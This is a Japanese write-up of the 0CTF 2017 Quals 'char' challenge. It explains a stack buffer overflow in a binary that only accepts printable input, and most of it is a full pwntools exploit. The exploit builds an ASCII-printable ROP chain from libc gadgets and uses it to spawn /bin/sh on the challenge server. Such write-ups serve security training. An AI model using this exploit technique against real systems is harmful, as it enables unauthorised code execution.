0CTF 2017 Quals char writeup
はじめに
解けたのが、これだけだった。
他の問題もチームメンバーと話したりしたが、直接の貢献は一切してない(one gadget rceのoffset調べたくらい?)。
単純なので、やるだけだった。
exploit
libcは添付されている。そして、添付のlibcは0x5555e000にマッピングされる。canaryがなく、Stack BOFが起きるので簡単にEIPが奪えて、ROPに持ち込むことができる。ただし、入力できるペイロードはASCIIコードでpritableなものに制限されている。
まずは、使用できるROP gadgetを探した。rp++でROP gadgetをファイルに書き出し、pythonでアドレスがpritableなROP gadgetだけを残した。
% rp++ ./libc.so -r 5 > gadgets
from pwn import * f = open('./gadgets') buf = f.read().split('\n') libc_base = 0x5555e000 for line in buf: if all(c in string.printable for c in p32(libc_base + int(line.split(':')[0][2:], 16))): print hex(libc_base + int(line.split(':')[0][2:], 16)), line
あとは、使えそうなgadgetを目で探してROP chainを組むだけ。stagerで良かったが直接execveから/bin/shを起動した。工夫した点としては、/bin/shを指すアドレスをebxにセットすることである。/bin/shを指すアドレスは、下位16bitがpritableにならない。add bl, alとadd bh, ahを使って、上手く/bin/shを指すアドレスとなるように計算した。
以下がexploitで、これでシェルが取れた。
#!/usr/bin/env python from pwn import * context(os='linux', arch='i386') context.log_level = 'debug' # output verbose log RHOST = "202.120.7.214" RPORT = 23222 LHOST = "127.0.0.1" LPORT = 23222 # libc = ELF('./libc.so') elf = ELF('./char') def section_addr(name, elf=elf): return elf.get_section_by_name(name).header['sh_addr'] conn = None if len(sys.argv) > 1: if sys.argv[1] == 'r': conn = remote(RHOST, RPORT) elif sys.argv[1] == 'l': conn = remote(LHOST, LPORT) elif sys.argv[1] == 'd': execute = """ # set environment LD_PRELOAD=./libc.so b *{0} c """.format(hex(elf.symbols['main'] if 'main' in elf.symbols.keys() else elf.entrypoint)) conn = gdb.debug(['./char'], execute=execute) else: conn = process(['./char']) # conn = process(['./char'], env={'LD_PRELOAD': './libc.so'}) # preparing for exploitation bufsize = 32 libc_base = 0x5555e000 zero_addr = 0x5557215c #: 0x00000000 inc_eax = 0x55644263 #0x000e6263: inc eax ; ret ; (1 found) xor_eax = 0x555d2040 #0x00074040: xor eax, eax ; ret ; (1 found) pop_eax_ebx_esi_edi_ebp = 0x5557506b #0x0001706b: pop eax ; pop ebx ; pop esi ; pop edi ; pop ebp ; ret ; (1 found) pop_ecx = 0x556d2a51 # pop ecx pop_edx = 0x555f3555 # pop edx, xor eax,eaxm pop edi mov_edx_0 = 0x555f692d #0x0009892d: mov edx, dword [edx] ; xor eax, eax ; test edx, edx ; sete al ; rep ret ; (1 found) and_ecx = 0x5566306d #0x0010506d: and ecx, 0xC0000000 ; and edx, 0x000000FF ; cmp ecx, 0x80000000 ; cmovne eax, edx ; ret ; (1 found) add_bh_ah = 0x55634e43 #0x000d6e43: add bh, ah ; ret ; (1 found) add_bl_al = 0x555f643e #0x0009843e: add bl, al ; xor eax, eax ; ret ; (1 found) int0x80 = 0x55667177 #0x00109177: int 0x80 ; (1 found) eax_value = 0x77775070 ebx_value = 0x556b677c log.info('Pwning') payload = "A" * bufsize # ecx = 0 payload += p32(pop_ecx) payload += p32(0x30303030) payload += p32(and_ecx) # edx = 0 payload += p32(pop_edx) payload += p32(zero_addr) payload += p32(zero_addr) payload += p32(mov_edx_0) # ebx = &'/bin/sh' and eax = 0 payload += p32(pop_eax_ebx_esi_edi_ebp) payload += p32(eax_value) payload += p32(ebx_value) payload += "XXXX" * 3 payload += p32(add_bh_ah) payload += p32(add_bl_al) # eax = 11 payload += p32(inc_eax) * 11 # int 0x80 payload += p32(int0x80) print len(payload) print payload conn.recvuntil('GO : )') conn.sendline(payload) conn.interactive()